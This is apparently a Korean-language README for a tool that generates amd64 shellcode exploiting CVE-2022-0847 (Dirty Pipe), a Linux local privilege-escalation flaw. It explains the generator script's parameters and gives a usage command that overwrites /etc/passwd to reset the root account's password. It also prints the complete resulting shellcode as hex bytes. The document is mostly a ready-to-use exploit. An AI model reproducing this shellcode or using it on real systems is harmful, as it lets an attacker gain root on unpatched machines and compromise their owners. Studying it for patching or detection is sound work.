
CVE-2022-0847을 셸코드로 구현
이 저장소는 pwntools를 기반으로 CVE-2022-0847을 구현하는 셸코드를 생성하는 Python 스크립트(gen_shellcode.py)를 포함합니다.
셸코드는 다음 PoC를 기반으로 합니다: antx.
PoC의 코드와 strace를 사용한 실행을 분석하여 익스플로잇에 필요한 모든 시스템 호출을 파악했으며, 처음에는 syscall.h를 사용하는 C 프로그램을 작성했습니다. 이는 셸코드에는 적합하지 않지만 참고용으로 좋기 때문에 여기에 포함했습니다(tiny_cve-2022-0847.c).
셸코드를 생성하는 함수는 쓰기 대상 파일 경로, 쓸 데이터, 데이터를 쓸 오프셋의 세 가지 매개변수를 받습니다.
objdump의 디스어셈블리 형식으로 생성된 셸코드 예제는 shellcode.asm에서 찾을 수 있으며, 다음 매개변수로 생성되었습니다:
/etc/passwd:$1$$qRPK7m23GJusamGpoGLby/:0:0::/:/bin/sh\n4이로 인해 루트 계정이 빈 비밀번호로 설정됩니다.
$ python gen_shellcode.py
사용법: gen_shellcode.py filename data offset [verbose (아무 값이나 넣으면 verbose가 True로 설정됨)]
셸코드를 생성하는 cve_2022_0847 함수를 가져와 다른 스크립트에서 호출하거나, 이 스크립트를 직접 사용할 수 있습니다. cve_2022_0847을 호출하고 셸코드로 ELF를 만드는 example_usage 함수가 있습니다.
cve_2022_0847 함수는 기본적인 정합성 검사도 수행하며, verbose 매개변수가 설정된 경우 익스플로잇에서 발생할 수 있는 문제점과 디스어셈블된 셸코드를 출력합니다.
조립된 셸코드를 반환합니다. main 함수는 명령줄 매개변수로 cve_2022_0847을 호출하고 결과 셸코드를 C 스타일의 16진수(즉, 인쇄 가능한 바이트를 디코딩하지 않은 형태)로 출력합니다. 예:
$ python gen_shellcode.py /etc/passwd ":$1$$qRPK7m23GJusamGpoGLby/:0:0::/:/bin/sh\n" 4
결과 셸코드:
\x68\x72\x76\x65\x01\x81\x34\x24\x01\x01\x01\x01\x48\xb8\x2f\x65\x74\x63\x2f\x70\x61\x73\x50\x48\x89\xe6\x6a\x9c\x5f\x31\xd2\x31\xc0\x66\xb8\x01\x01\x0f\x05\x48\x83\xec\x10\x48\x89\xe7\x6a\x16\x58\x0f\x05\x6a\x05\x5f\x31\xf6\x66\xbe\x08\x04\x6a\x48\x58\x0f\x05\x49\x89\xc7\x4d\x89\xfe\x6a\x05\x5f\x48\x81\xec\x00\x10\x00\x00\x48\x89\xe6\x31\xd2\xb6\x10\x4d\x85\xff\x74\x0a\x6a\x01\x58\x0f\x05\x49\x29\xd7\xeb\xf1\x4d\x89\xf7\x6a\x04\x5f\x4d\x85\xff\x74\x09\x31\xc0\x0f\x05\x49\x29\xd7\xeb\xf2\x6a\x03\x45\x31\xd2\x6a\x01\x41\x58\x45\x31\xc9\x6a\x03\x5f\x6a\x05\x5a\x48\x89\xe6\x31\xc0\x66\xb8\x13\x01\x0f\x05\x48\xb8\x01\x01\x01\x01\x01\x01\x01\x01\x50\x48\xb8\x2e\x72\x69\x5d\x6f\x01\x01\x01\x48\x31\x04\x24\x48\xb8\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e\x50\x48\xb8\x4c\x62\x79\x2f\x3a\x30\x3a\x30\x50\x48\xb8\x75\x73\x61\x6d\x47\x70\x6f\x47\x50\x48\xb8\x50\x4b\x37\x6d\x32\x33\x47\x4a\x50\x48\xb8\x3a\x31\x36\x39\x32\x33\x71\x52\x50\x48\x89\xe6\x6a\x05\x5f\x6a\x2d\x5a\x6a\x01\x58\x0f\x05\x31\xff\x31\xc0\xb0\xe7\x0f\x05
지원되는 아키텍처는 오직 amd64입니다.